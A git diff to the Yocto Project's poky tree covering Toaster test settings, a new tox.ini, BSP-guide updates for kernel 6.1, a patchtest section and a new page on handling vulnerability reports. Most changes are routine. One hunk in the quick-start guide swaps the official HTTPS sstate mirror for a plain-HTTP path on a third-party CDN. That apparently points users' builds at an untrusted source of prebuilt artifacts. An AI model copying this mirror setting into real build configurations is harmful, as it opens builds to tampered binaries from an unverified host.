diff --git a/poky/bitbake/lib/toaster/toastermain/settings_test.py b/poky/bitbake/lib/toaster/toastermain/settings_test.py
index 6538d9e453..74def2d240 100644
--- a/poky/bitbake/lib/toaster/toastermain/settings_test.py
+++ b/poky/bitbake/lib/toaster/toastermain/settings_test.py
@@ -19,10 +19,10 @@ TEMPLATE_DEBUG = DEBUG
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
- 'NAME': '/tmp/toaster-test-db.sqlite',
+ 'NAME': '%s/toaster-test-db.sqlite' % TMPDIR,
'TEST': {
'ENGINE': 'django.db.backends.sqlite3',
- 'NAME': '/tmp/toaster-test-db.sqlite',
+ 'NAME': '%s/toaster-test-db.sqlite' % TMPDIR,
}
}
}
diff --git a/poky/bitbake/lib/toaster/tox.ini b/poky/bitbake/lib/toaster/tox.ini
new file mode 100644
index 0000000000..1516a527ae
--- /dev/null
+++ b/poky/bitbake/lib/toaster/tox.ini
@@ -0,0 +1,24 @@
+[tox]
+envlist = py38, py39, py310, py311, py312
+skipsdist = True
+toxworkdir = {env:TOX_WORKDIR:.tox}
+passenv = *
+
+[testenv]
+passenv =
+ SSTATE_DIR
+ DL_DIR
+ TOASTER_DJANGO_TMPDIR
+setenv =
+ DJANGO_SETTINGS_MODULE=toastermain.settings_test
+ TOASTER_BUILDSERVER=1
+ BUILDDIR = {env:BUILDDIR}
+ EVENTREPLAY_DIR = {env:EVENTREPLAY_DIR:BUILDDIR}
+commands =
+ python3 {toxinidir}/manage.py test tests.db tests.commands tests.builds tests.browser tests.functional tests.views
+deps =
+ -r {toxinidir}/../../toaster-requirements.txt
+ -r {toxinidir}/tests/toaster-tests-requirements.txt
+
+[testenv:chrome]
+commands={[testenv]commands} --splinter-webdriver=chrome \ No newline at end of file
diff --git a/poky/bitbake/toaster-requirements.txt b/poky/bitbake/toaster-requirements.txt
index c1f433f9ec..d8e48b7f3a 100644
--- a/poky/bitbake/toaster-requirements.txt
+++ b/poky/bitbake/toaster-requirements.txt
@@ -1,3 +1,4 @@
Django>4.2,<4.3
beautifulsoup4>=4.4.0
pytz
+django-log-viewer==1.1.7
diff --git a/poky/documentation/brief-yoctoprojectqs/index.rst b/poky/documentation/brief-yoctoprojectqs/index.rst
index 0ccffccc60..df8d75edc2 100644
--- a/poky/documentation/brief-yoctoprojectqs/index.rst
+++ b/poky/documentation/brief-yoctoprojectqs/index.rst
@@ -254,7 +254,7 @@ an entire Linux distribution, including the toolchain, from source.
BB_SIGNATURE_HANDLER = "OEEquivHash"
BB_HASHSERVE = "auto"
BB_HASHSERVE_UPSTREAM = "hashserv.yocto.io:8687"
- SSTATE_MIRRORS ?= "file://.* https://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"
+ SSTATE_MIRRORS ?= "file://.* http://cdn.jsdelivr.net/yocto/sstate/all/PATH;downloadfilename=PATH"
#. **Start the Build:** Continue with the following command to build an OS
image for the target, which is ``core-image-sato`` in this example:
diff --git a/poky/documentation/bsp-guide/bsp.rst b/poky/documentation/bsp-guide/bsp.rst
index c78fbeb68f..f92b1177b7 100644
--- a/poky/documentation/bsp-guide/bsp.rst
+++ b/poky/documentation/bsp-guide/bsp.rst
@@ -64,8 +64,8 @@ Here is an example that clones the Raspberry Pi BSP layer::
In addition to BSP layers, the ``meta-yocto-bsp`` layer is part of the
shipped ``poky`` repository. The ``meta-yocto-bsp`` layer maintains
-several "reference" BSPs including the ARM-based Beaglebone, MIPS-based
-EdgeRouter, and generic versions of both 32-bit and 64-bit IA machines.
+several "reference" BSPs including the ARM-based Beaglebone and generic
+versions of both 32-bit and 64-bit IA machines.
For information on typical BSP development workflow, see the
:ref:`bsp-guide/bsp:developing a board support package (bsp)`
@@ -764,29 +764,13 @@ workflow.
.. note::
- - There are four hardware reference BSPs in the Yocto
+ - There are three hardware reference BSPs in the Yocto
Project release, located in the ``poky/meta-yocto-bsp``
BSP layer:
- Texas Instruments Beaglebone (``beaglebone-yocto``)
- - Ubiquiti Networks EdgeRouter Lite (``edgerouter``)
-
- - Two general IA platforms (``genericx86`` and ``genericx86-64``)
-
- - There are three core Intel BSPs in the Yocto Project
- release, in the ``meta-intel`` layer:
-
- - ``intel-core2-32``, which is a BSP optimized for the Core2
- family of CPUs as well as all CPUs prior to the Silvermont
- core.
-
- - ``intel-corei7-64``, which is a BSP optimized for Nehalem
- and later Core and Xeon CPUs as well as Silvermont and later
- Atom CPUs, such as the Baytrail SoCs.
-
- - ``intel-quark``, which is a BSP optimized for the Intel
- Galileo gen1 & gen2 development boards.
+ - Two generic IA platforms (``genericx86`` and ``genericx86-64``)
When you set up a layer for a new BSP, you should follow a standard
layout. This layout is described in the ":ref:`bsp-guide/bsp:example filesystem layout`"
@@ -1194,7 +1178,7 @@ Use these steps to create a BSP layer:
- *Create a Kernel Recipe:* Create a kernel recipe in
``recipes-kernel/linux`` by either using a kernel append file or a
- new custom kernel recipe file (e.g. ``yocto-linux_4.12.bb``). The BSP
+ new custom kernel recipe file (e.g. ``linux-yocto_4.12.bb``). The BSP
layers mentioned in the previous step also contain different kernel
examples. See the ":ref:`kernel-dev/common:modifying an existing recipe`"
section in the Yocto Project Linux Kernel Development Manual for
@@ -1250,21 +1234,18 @@ There are one or more machine configuration files in the
For example, the machine configuration file for the `BeagleBone and
BeagleBone Black development boards <https://beagleboard.org/bone>`__ is
-located in the layer ``poky/meta-yocto-bsp/conf/machine`` and is named
-``beaglebone-yocto.conf``::
+located in :yocto_git:`poky/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf
+</poky/tree/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf>`::
#@TYPE: Machine
#@NAME: Beaglebone-yocto machine
#@DESCRIPTION: Reference machine configuration for http://beagleboard.org/bone and http://beagleboard.org/black boards
PREFERRED_PROVIDER_virtual/xserver ?= "xserver-xorg"
- XSERVER ?= "xserver-xorg \
- xf86-video-modesetting \
- "
MACHINE_EXTRA_RRECOMMENDS = "kernel-modules kernel-devicetree"
- EXTRA_IMAGEDEPENDS += "u-boot"
+ EXTRA_IMAGEDEPENDS += "virtual/bootloader"
DEFAULTTUNE ?= "cortexa8hf-neon"
include conf/machine/include/arm/armv7a/tune-cortexa8.inc
@@ -1272,19 +1253,20 @@ located in the layer ``poky/meta-yocto-bsp/conf/machine`` and is named
IMAGE_FSTYPES += "tar.bz2 jffs2 wic wic.bmap"
EXTRA_IMAGECMD:jffs2 = "-lnp "
WKS_FILE ?= "beaglebone-yocto.wks"
- IMAGE_INSTALL:append = " kernel-devicetree kernel-image-zimage"
- do_image_wic[depends] += "mtools-native:do_populate_sysroot dosfstools-native:do_populate_sysroot"
+ MACHINE_ESSENTIAL_EXTRA_RDEPENDS += "kernel-image kernel-devicetree"
+ do_image_wic[depends] += "mtools-native:do_populate_sysroot dosfstools-native:do_populate_sysroot virtual/bootloader:do_deploy"
- SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyO0"
- SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
+ SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyO0 115200;ttyAMA0"
PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto"
- PREFERRED_VERSION_linux-yocto ?= "5.0%"
+ PREFERRED_VERSION_linux-yocto ?= "6.1%"
KERNEL_IMAGETYPE = "zImage"
KERNEL_DEVICETREE = "am335x-bone.dtb am335x-boneblack.dtb am335x-bonegreen.dtb"
KERNEL_EXTRA_ARGS += "LOADADDR=${UBOOT_ENTRYPOINT}"
+ PREFERRED_PROVIDER_virtual/bootloader ?= "u-boot"
+
SPL_BINARY = "MLO"
UBOOT_SUFFIX = "img"
UBOOT_MACHINE = "am335x_evm_defconfig"
@@ -1293,7 +1275,24 @@ located in the layer ``poky/meta-yocto-bsp/conf/machine`` and is named
MACHINE_FEATURES = "usbgadget usbhost vfat alsa"
- IMAGE_BOOT_FILES ?= "u-boot.${UBOOT_SUFFIX} MLO zImage am335x-bone.dtb am335x-boneblack.dtb am335x-bonegreen.dtb"
+ IMAGE_BOOT_FILES ?= "u-boot.${UBOOT_SUFFIX} ${SPL_BINARY} ${KERNEL_IMAGETYPE} ${KERNEL_DEVICETREE}"
+
+ # support runqemu
+ EXTRA_IMAGEDEPENDS += "qemu-native qemu-helper-native"
+ IMAGE_CLASSES += "qemuboot"
+ QB_DEFAULT_FSTYPE = "wic"
+ QB_FSINFO = "wic:no-kernel-in-fs"
+ QB_KERNEL_ROOT = "/dev/vda2"
+ QB_SYSTEM_NAME = "qemu-system-arm"
+ QB_MACHINE = "-machine virt"
+ QB_CPU = "-cpu cortex-a15"
+ QB_KERNEL_CMDLINE_APPEND = "console=ttyAMA0 systemd.mask=systemd-networkd"
+ QB_OPT_APPEND = "-device virtio-rng-device"
+ QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
+ QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
+ QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
+ QB_SERIAL_OPT = ""
+ QB_TCPSERIAL_OPT = "-device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
The variables used to configure the machine define machine-specific properties; for
example, machine-dependent packages, machine tunings, the type of kernel
@@ -1313,11 +1312,6 @@ Project Reference Manual.
"virtual/xserver" is "xserver-xorg", available in
``poky/meta/recipes-graphics/xorg-xserver``.
-- :term:`XSERVER`: The packages that
- should be installed to provide an X server and drivers for the
- machine. In this example, the "xserver-xorg" and
- "xf86-video-modesetting" are installed.
-
- :term:`MACHINE_EXTRA_RRECOMMENDS`:
A list of machine-dependent packages not essential for booting the
image. Thus, the build does not fail if the packages do not exist.
@@ -1335,12 +1329,15 @@ Project Reference Manual.
needed in the root filesystem. In this case, the U-Boot recipe must
be built for the image.
+ At the end of the file, we also use this setings to implement
+ ``runqemu`` support on the host machine.
+
- :term:`DEFAULTTUNE`: Machines
use tunings to optimize machine, CPU, and application performance.
These features, which are collectively known as "tuning features",
- are set in the :term:`OpenEmbedded-Core (OE-Core)` layer (e.g.
- ``poky/meta/conf/machine/include``). In this example, the default
- tuning file is ``cortexa8hf-neon``.
+ are set in the :term:`OpenEmbedded-Core (OE-Core)` layer. In this
+ example, the default tuning file is :oe_git:`tune-cortexa8
+ </openembedded-core/tree/meta/conf/machine/include/arm/armv7a/tune-cortexa8.inc>`.
.. note::
@@ -1360,13 +1357,7 @@ Project Reference Manual.
- :term:`WKS_FILE`: The location of
the :ref:`Wic kickstart <ref-manual/kickstart:openembedded kickstart (\`\`.wks\`\`) reference>` file used
- by the OpenEmbedded build system to create a partitioned image
- (image.wic).
-
-- :term:`IMAGE_INSTALL`:
- Specifies packages to install into an image through the
- :ref:`ref-classes-image` class. Recipes
- use the :term:`IMAGE_INSTALL` variable.
+ by the OpenEmbedded build system to create a partitioned image.
- ``do_image_wic[depends]``: A task that is constructed during the
build. In this example, the task depends on specific tools in order
@@ -1384,7 +1375,7 @@ Project Reference Manual.
- :term:`PREFERRED_VERSION_linux-yocto <PREFERRED_VERSION>`:
Defines the version of the recipe used to build the kernel, which is
- "5.0" in this case.
+ "6.1" in this case.
- :term:`KERNEL_IMAGETYPE`:
The type of kernel to build for the device. In this case, the
@@ -1449,39 +1440,35 @@ The kernel recipe used to build the kernel image for the BeagleBone
device was established in the machine configuration::
PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto"
- PREFERRED_VERSION_linux-yocto ?= "5.0%"
+ PREFERRED_VERSION_linux-yocto ?= "6.1%"
The ``meta-yocto-bsp/recipes-kernel/linux`` directory in the layer contains
metadata used to build the kernel. In this case, a kernel append file
-(i.e. ``linux-yocto_5.0.bbappend``) is used to override an established
-kernel recipe (i.e. ``linux-yocto_5.0.bb``), which is located in
+(i.e. ``linux-yocto_6.1.bbappend``) is used to override an established
+kernel recipe (i.e. ``linux-yocto_6.1.bb``), which is located in
:yocto_git:`/poky/tree/meta/recipes-kernel/linux`.
Following is the contents of the append file::
- KBRANCH:genericx86 = "v5.0/standard/base"
- KBRANCH:genericx86-64 = "v5.0/standard/base"
- KBRANCH:edgerouter = "v5.0/standard/edgerouter"
- KBRANCH:beaglebone-yocto = "v5.0/standard/beaglebone"
+ KBRANCH:genericx86 = "v6.1/standard/base"
+ KBRANCH:genericx86-64 = "v6.1/standard/base"
+ KBRANCH:beaglebone-yocto = "v6.1/standard/beaglebone"
KMACHINE:genericx86 ?= "common-pc"
KMACHINE:genericx86-64 ?= "common-pc-64"
KMACHINE:beaglebone-yocto ?= "beaglebone"
- SRCREV_machine:genericx86 ?= "3df4aae6074e94e794e27fe7f17451d9353cdf3d"
- SRCREV_machine:genericx86-64 ?= "3df4aae6074e94e794e27fe7f17451d9353cdf3d"
- SRCREV_machine:edgerouter ?= "3df4aae6074e94e794e27fe7f17451d9353cdf3d"
- SRCREV_machine:beaglebone-yocto ?= "3df4aae6074e94e794e27fe7f17451d9353cdf3d"
+ SRCREV_machine:genericx86 ?= "6ec439b4b456ce929c4c07fe457b5d6a4b468e86"
+ SRCREV_machine:genericx86-64 ?= "6ec439b4b456ce929c4c07fe457b5d6a4b468e86"
+ SRCREV_machine:beaglebone-yocto ?= "423e1996694b61fbfc8ec3bf062fc6461d64fde1"
COMPATIBLE_MACHINE:genericx86 = "genericx86"
COMPATIBLE_MACHINE:genericx86-64 = "genericx86-64"
- COMPATIBLE_MACHINE:edgerouter = "edgerouter"
COMPATIBLE_MACHINE:beaglebone-yocto = "beaglebone-yocto"
- LINUX_VERSION:genericx86 = "5.0.3"
- LINUX_VERSION:genericx86-64 = "5.0.3"
- LINUX_VERSION:edgerouter = "5.0.3"
- LINUX_VERSION:beaglebone-yocto = "5.0.3"
+ LINUX_VERSION:genericx86 = "6.1.30"
+ LINUX_VERSION:genericx86-64 = "6.1.30"
+ LINUX_VERSION:beaglebone-yocto = "6.1.20"
This particular append file works for all the machines that are
part of the ``meta-yocto-bsp`` layer. The relevant statements are
diff --git a/poky/documentation/contributor-guide/submit-changes.rst b/poky/documentation/contributor-guide/submit-changes.rst
index cda2d12d25..53daaf901a 100644
--- a/poky/documentation/contributor-guide/submit-changes.rst
+++ b/poky/documentation/contributor-guide/submit-changes.rst
@@ -279,6 +279,46 @@ Here is the general procedure on how to create patches to be sent through email:
If necessary, rework your commits as described in
":ref:`contributor-guide/submit-changes:taking patch review into account`".
+Validating Patches with Patchtest
+=================================
+
+``patchtest`` is available in ``openembedded-core`` as a tool for making
+sure that your patches are well-formatted and contain important info for
+maintenance purposes, such as ``Signed-off-by`` and ``Upstream-Status``
+tags. Currently, it only supports testing patches for
+``openembedded-core`` branches. To setup, perform the following::
+
+ pip install -r meta/lib/patchtest/requirements.txt
+ source oe-init-build-env
+ bitbake-layers add-layer ../meta-selftest
+
+Once these steps are complete and you have generated your patch files,
+you can run ``patchtest`` like so::
+
+ patchtest --patch <patch_name>
+
+Alternatively, if you want ``patchtest`` to iterate over and test
+multiple patches stored in a directory, you can use::
+
+ patchtest --directory <directory_name>
+
+By default, ``patchtest`` uses its own modules' file paths to determine what
+repository and test suite to check patches against. If you wish to test
+patches against a repository other than ``openembedded-core`` and/or use
+a different set of tests, you can use the ``--repodir`` and ``--testdir``
+flags::
+
+ patchtest --patch <patch_name> --repodir <path/to/repo> --testdir <path/to/testdir>
+
+Finally, note that ``patchtest`` is designed to test patches in a standalone
+way, so if your patches are meant to apply on top of changes made by
+previous patches in a series, it is possible that ``patchtest`` will report
+false failures regarding the "merge on head" test.
+
+Using ``patchtest`` in this manner provides a final check for the overall
+quality of your changes before they are submitted for review by the
+maintainers.
+
Sending the Patches via Email
=============================
diff --git a/poky/documentation/dev-manual/index.rst b/poky/documentation/dev-manual/index.rst
index 3106b90a45..9ccf60f701 100644
--- a/poky/documentation/dev-manual/index.rst
+++ b/poky/documentation/dev-manual/index.rst
@@ -42,6 +42,7 @@ Yocto Project Development Tasks Manual
runtime-testing
debugging
licenses
+ security-subjects
vulnerabilities
sbom
error-reporting-tool
diff --git a/poky/documentation/dev-manual/layers.rst b/poky/documentation/dev-manual/layers.rst
index 2d809562d1..c65a94b4fa 100644
--- a/poky/documentation/dev-manual/layers.rst
+++ b/poky/documentation/dev-manual/layers.rst
@@ -128,6 +128,20 @@ Follow these general steps to create your layer without using tools:
variable is a good way to indicate if your particular layer is
current.
+
+ .. note::
+
+ A layer does not have to contain only recipes ``.bb`` or append files
+ ``.bbappend``. Generally, developers create layers using
+ ``bitbake-layers create-layer``.
+ See ":ref:`dev-manual/layers:creating a general layer using the \`\`bitbake-layers\`\` script`",
+ explaining how the ``layer.conf`` file is created from a template located in
+ ``meta/lib/bblayers/templates/layer.conf``.
+ In fact, none of the variables set in ``layer.conf`` are mandatory,
+ except when :term:`BBFILE_COLLECTIONS` is present. In this case
+ :term:`LAYERSERIES_COMPAT` and :term:`BBFILE_PATTERN` have to be
+ defined too.
+
#. *Add Content:* Depending on the type of layer, add the content. If
the layer adds support for a machine, add the machine configuration
in a ``conf/machine/`` file within the layer. If the layer adds
diff --git a/poky/documentation/dev-manual/new-machine.rst b/poky/documentation/dev-manual/new-machine.rst
index 930dd7eac7..6b41d24db4 100644
--- a/poky/documentation/dev-manual/new-machine.rst
+++ b/poky/documentation/dev-manual/new-machine.rst
@@ -38,7 +38,7 @@ file or include from a lower-level configuration file are as follows:
- ``PREFERRED_PROVIDER_virtual/kernel``
-- :term:`MACHINE_FEATURES` (e.g. "apm screen wifi")
+- :term:`MACHINE_FEATURES` (e.g. "screen wifi")
You might also need these variables:
diff --git a/poky/documentation/dev-manual/new-recipe.rst b/poky/documentation/dev-manual/new-recipe.rst
index 02bb08474f..e741cef0e8 100644
--- a/poky/documentation/dev-manual/new-recipe.rst
+++ b/poky/documentation/dev-manual/new-recipe.rst
@@ -409,8 +409,8 @@ Patching Code
Sometimes it is necessary to patch code after it has been fetched. Any
files mentioned in :term:`SRC_URI` whose names end in ``.patch`` or
-``.diff`` or compressed versions of these suffixes (e.g. ``diff.gz`` are
-treated as patches. The
+``.diff`` or compressed versions of these suffixes (e.g. ``diff.gz``,
+``patch.bz2``, etc.) are treated as patches. The
:ref:`ref-tasks-patch` task
automatically applies these patches.
diff --git a/poky/documentation/dev-manual/runtime-testing.rst b/poky/documentation/dev-manual/runtime-testing.rst
index af3fe2c1dd..205a96cc59 100644
--- a/poky/documentation/dev-manual/runtime-testing.rst
+++ b/poky/documentation/dev-manual/runtime-testing.rst
@@ -160,12 +160,6 @@ options are available:
comments at the top of the BeagleBoneTarget
``meta-yocto-bsp/lib/oeqa/controllers/beaglebonetarget.py`` file.
-- *"EdgeRouterTarget":* Choose "EdgeRouterTarget" if you are deploying
- images and running tests on the Ubiquiti Networks EdgeRouter Lite.
- For information on how to use these tests, see the comments at the
- top of the EdgeRouterTarget
- ``meta-yocto-bsp/lib/oeqa/controllers/edgeroutertarget.py`` file.
-
- *"GrubTarget":* Choose "GrubTarget" if you are deploying images and running
tests on any generic PC that boots using GRUB. For information on how
to use these tests, see the comments at the top of the GrubTarget
@@ -288,7 +282,7 @@ Serial Console Connection
-------------------------
For test target classes requiring a serial console to interact with the
-bootloader (e.g. BeagleBoneTarget, EdgeRouterTarget, and GrubTarget),
+bootloader (e.g. BeagleBoneTarget and GrubTarget),
you need to specify a command to use to connect to the serial console of
the target machine by using the
:term:`TEST_SERIALCONTROL_CMD`
diff --git a/poky/documentation/dev-manual/security-subjects.rst b/poky/documentation/dev-manual/security-subjects.rst
new file mode 100644
index 0000000000..1b02b6a9e9
--- /dev/null
+++ b/poky/documentation/dev-manual/security-subjects.rst
@@ -0,0 +1,189 @@
+.. SPDX-License-Identifier: CC-BY-SA-2.0-UK
+
+Dealing with Vulnerability Reports
+**********************************
+
+The Yocto Project and OpenEmbedded are open-source, community-based projects
+used in numerous products. They assemble multiple other open-source projects,
+and need to handle security issues and practices both internal (in the code
+maintained by both projects), and external (maintained by other projects and
+organizations).
+
+This manual assembles security-related information concerning the whole
+ecosystem. It includes information on reporting a potential security issue,
+the operation of the YP Security team and how to contribute in the
+related code. It is written to be useful for both security researchers and
+YP developers.
+
+How to report a potential security vulnerability?
+=================================================
+
+If you would like to report a public issue (for example, one with a released
+CVE number), please report it using the
+:yocto_bugs:`Security Bugzilla </enter_bug.cgi?product=Security>`.
+
+If you are dealing with a not-yet-released issue, or an urgent one, please send
+a message to security AT yoctoproject DOT org, including as many details as
+possible: the layer or software module affected, the recipe and its version,
+and any example code, if available. This mailing list is monitored by the
+Yocto Project Security team.
+
+For each layer, you might also look for specific instructions (if any) for
+reporting potential security issues in the specific ``SECURITY.md`` file at the
+root of the repository. Instructions on how and where submit a patch are
+usually available in ``README.md``. If this is your first patch to the
+Yocto Project/OpenEmbedded, you might want to have a look into the
+Contributor's Manual section
+":ref:`contributor-guide/submit-changes:preparing changes for submission`".
+
+Branches maintained with security fixes
+---------------------------------------
+
+See the
+:ref:`Release process <ref-manual/release-process:Stable Release Process>`
+documentation for details regarding the policies and maintenance of stable
+branches.
+
+The :yocto_wiki:`Releases page </Releases>` contains a list
+of all releases of the Yocto Project. Versions in gray are no longer actively
+maintained with security patches, but well-tested patches may still be accepted
+for them for significant issues.
+
+Security-related discussions at the Yocto Project
+-------------------------------------------------
+
+We have set up two security-related mailing lists:
+
+ - Public List: yocto [dash] security [at] yoctoproject[dot] org
+
+ This is a public mailing list for anyone to subscribe to. This list is an
+ open list to discuss public security issues/patches and security-related
+ initiatives. For more information, including subscription information,
+ please see the :yocto_lists:`yocto-security mailing list info page </g/yocto-security>`.
+
+ - Private List: security [at] yoctoproject [dot] org
+
+ This is a private mailing list for reporting non-published potential
+ vulnerabilities. The list is monitored by the Yocto Project Security team.
+
+
+What you should do if you find a security vulnerability
+-------------------------------------------------------
+
+If you find a security flaw: a crash, an information leakage, or anything that
+can have a security impact if exploited in any Open Source software built or
+used by the Yocto Project, please report this to the Yocto Project Security
+Team. If you prefer to contact the upstream project directly, please send a
+copy to the security team at the Yocto Project as well. If you believe this is
+highly sensitive information, please report the vulnerability in a secure way,
+i.e. encrypt the email and send it to the private list. This ensures that
+the exploit is not leaked and exploited before a response/fix has been generated.
+
+Security team
+=============
+
+The Yocto Project/OpenEmbedded security team coordinates the work on security
+subjects in the project. All general discussion takes place publicly. The
+Security Team only uses confidential communication tools to deal with private
+vulnerability reports before they are released.
+
+Security team appointment
+-------------------------
+
+The Yocto Project Security Team consists of at least three members. When new
+members are needed, the Yocto Project Technical Steering Committee (YP TSC)
+asks for nominations by public channels including a nomination deadline.
+Self-nominations are possible. When the limit time is
+reached, the YP TSC posts the list of candidates for the comments of project
+participants and developers. Comments may be sent publicly or privately to the
+YP and OE TSCs. The candidates are approved by both YP TSC and OpenEmbedded
+Technical Steering Committee (OE TSC) and the final list of the team members
+is announced publicly. The aim is to have people representing technical
+leadership, security knowledge and infrastructure present with enough people
+to provide backup/coverage but keep the notification list small enough to
+minimize information risk and maintain trust.
+
+YP Security Team members may resign at any time.
+
+Security Team Operations
+------------------------
+
+The work of the Security Team might require high confidentiality. Team members
+are individuals selected by merit and do not represent the companies they work
+for. They do not share information about confidential issues outside of the team
+and do not hint about ongoing embargoes.
+
+Team members can bring in domain experts as needed. Those people should be
+added to individual issues only and adhere to the same standards as the YP
+Security Team.
+
+The YP security team organizes its meetings and communication as needed.
+
+When the YP Security team receives a report about a potential security
+vulnerability, they quickly analyze and notify the reporter of the result.
+They might also request more information.
+
+If the issue is confirmed and affects the code maintained by the YP, they
+confidentially notify maintainers of that code and work with them to prepare
+a fix.
+
+If the issue is confirmed and affects an upstream project, the YP security team
+notifies the project. Usually, the upstream project analyzes the problem again.
+If they deem it a real security problem in their software, they develop and
+release a fix following their security policy. They may want to include the
+original reporter in the loop. There is also sometimes some coordination for
+handling patches, backporting patches etc, or just understanding the problem
+or what caused it.
+
+When the fix is publicly available, the YP security team member or the
+package maintainer sends patches against the YP code base, following usual
+procedures, including public code review.
+
+What Yocto Security Team does when it receives a security vulnerability
+-----------------------------------------------------------------------
+
+The YP Security Team team performs a quick analysis and would usually report
+the flaw to the upstream project. Normally the upstream project analyzes the
+problem. If they deem it a real security problem in their software, they
+develop and release a fix following their own security policy. They may want
+to include the original reporter in the loop. There is also sometimes some
+coordination for handling patches, backporting patches etc, or just
+understanding the problem or what caused it.
+
+The security policy of the upstream project might include a notification to
+Linux distributions or other important downstream projects in advance to
+discuss coordinated disclosure. These mailing lists are normally non-public.
+
+When the upstream project releases a version with the fix, they are responsible
+for contacting `Mitre <https://www.cve.org/>`__ to get a CVE number assigned and
+the CVE record published.
+
+If an upstream project does not respond quickly
+-----------------------------------------------
+
+If an upstream project does not fix the problem in a reasonable time,
+the Yocto's Security Team will contact other interested parties (usually
+other distributions) in the community and together try to solve the
+vulnerability as quickly as possible.
+
+The Yocto Project Security team adheres to the 90 days disclosure policy
+by default. An increase of the embargo time is possible when necessary.
+
+Current Security Team members
+-----------------------------
+
+For secure communications, please send your messages encrypted using the GPG
+keys. Remember, message headers are not encrypted so do not include sensitive
+information in the subject line.
+
+ - Ross Burton: <ross@burtonini.com> `Public key <https://keys.openpgp.org/search?q=ross%40burtonini.com>`__
+
+ - Michael Halstead: <mhalstead [at] linuxfoundation [dot] org>
+ `Public key <https://pgp.mit.edu/pks/lookup?op=vindex&search=0x3373170601861969>`__
+ or `Public key <https://keyserver.ubuntu.com/pks/lookup?op=get&search=0xd1f2407285e571ed12a407a73373170601861969>`__
+
+ - Richard Purdie: <richard.purdie@linuxfoundation.org> `Public key <https://keys.openpgp.org/search?q=richard.purdie%40linuxfoundation.org>`__
+
+ - Marta Rybczynska: <marta DOT rybczynska [at] syslinbit [dot] com> `Public key <https://keys.openpgp.org/search?q=marta.rybczynska@syslinbit.com>`__
+
+ - Steve Sakoman: <steve [at] sakoman [dot] com> `Public key <https://keys.openpgp.org/search?q=steve%40sakoman.com>`__
diff --git a/poky/documentation/dev-manual/start.rst b/poky/documentation/dev-manual/start.rst
index 88afa27ad5..4a556967eb 100644
--- a/poky/documentation/dev-manual/start.rst
+++ b/poky/documentation/dev-manual/start.rst
@@ -88,27 +88,15 @@ particular working environment and set of practices.
For information about BitBake, see the
:doc:`bitbake:index`.
- It is relatively easy to set up Git services and create
- infrastructure like :yocto_git:`/`, which is based on
- server software called ``gitolite`` with ``cgit`` being used to
- generate the web interface that lets you view the repositories. The
- ``gitolite`` software identifies users using SSH keys and allows
+ It is relatively easy to set up Git services and create infrastructure like
+ :yocto_git:`/`, which is based on server software called
+ `Gitolite <https://gitolite.com>`__
+ with `cgit <https://git.zx2c4.com/cgit/about/>`__ being used to
+ generate the web interface that lets you view the repositories.
+ ``gitolite`` identifies users using SSH keys and allows
branch-based access controls to repositories that you can control as
little or as much as necessary.
- .. note::
-
- The setup of these services is beyond the scope of this manual.
- However, here are sites describing how to perform setup:
-
- - `Gitolite <https://gitolite.com>`__: Information for
- ``gitolite``.
-
- - `Interfaces, frontends, and
- tools <https://git.wiki.kernel.org/index.php/Interfaces,_frontends,_and_tools>`__:
- Documentation on how to create interfaces and frontends for
- Git.
-
#. *Set up the Application Development Machines:* As mentioned earlier,
application developers are creating applications on top of existing
software stacks. Following are some best practices for setting up
diff --git a/poky/documentation/dev-manual/vulnerabilities.rst b/poky/documentation/dev-manual/vulnerabilities.rst
index 71111bb3e2..1bc2a85929 100644
--- a/poky/documentation/dev-manual/vulnerabilities.rst
+++ b/poky/documentation/dev-manual/vulnerabilities.rst
@@ -129,31 +129,97 @@ NVD about CVE entries can be provided through the `NVD contact form <https://nvd
Fixing vulnerabilities in recipes
=================================
-If a CVE security issue impacts a software component, it can be fixed by updating to a newer
-version of the software component, by applying a patch or by marking it as patched via
-:term:`CVE_STATUS` variable flag. For Poky and OE-Core master branches, updating
-to a newer software component release with fixes is the best option, but patches can be applied
-if releases are not yet available.
-
-For stable branches, it is preferred to apply patches for the issues. For some software
-components minor version updates can also be applied if they are backwards compatible.
+Suppose a CVE security issue impacts a software component. In that case, it can
+be fixed by updating to a newer version, by applying a patch, or by marking it
+as patched via :term:`CVE_STATUS` variable flag. For Poky and OE-Core master
+branches, updating to a more recent software component release with fixes is
+the best option, but patches can be applied if releases are not yet available.
+
+For stable branches, we want to avoid API (Application Programming Interface)
+or ABI (Application Binary Interface) breakages. When submitting an update,
+a minor version update of a component is preferred if the version is
+backward-compatible. Many software components have backward-compatible stable
+versions, with a notable example of the Linux kernel. However, if the new
+version does or likely might introduce incompatibilities, extracting and
+backporting patches is preferred.
Here is an example of fixing CVE security issues with patch files,
-an example from the :oe_layerindex:`ffmpeg recipe</layerindex/recipe/47350>`::
+an example from the :oe_layerindex:`ffmpeg recipe for dunfell </layerindex/recipe/122174>`::
SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
+ file://mips64_cpu_detection.patch \
+ file://CVE-2020-12284.patch \
file://0001-libavutil-include-assembly-with-full-path-from-sourc.patch \
- file://fix-CVE-2020-20446.patch \
- file://fix-CVE-2020-20453.patch \
- file://fix-CVE-2020-22015.patch \
- file://fix-CVE-2020-22021.patch \
- file://fix-CVE-2020-22033-CVE-2020-22019.patch \
- file://fix-CVE-2021-33815.patch \
+ file://CVE-2021-3566.patch \
+ file://CVE-2021-38291.patch \
+ file://CVE-2022-1475.patch \
+ file://CVE-2022-3109.patch \
+ file://CVE-2022-3341.patch \
+ file://CVE-2022-48434.patch \
+ "
+
+The recipe has both generic and security-related fixes. The CVE patch files are named
+according to the CVE they fix.
+
+When preparing the patch file, take the original patch from the upstream repository.
+Do not use patches from different distributions, except if it is the only available source.
+
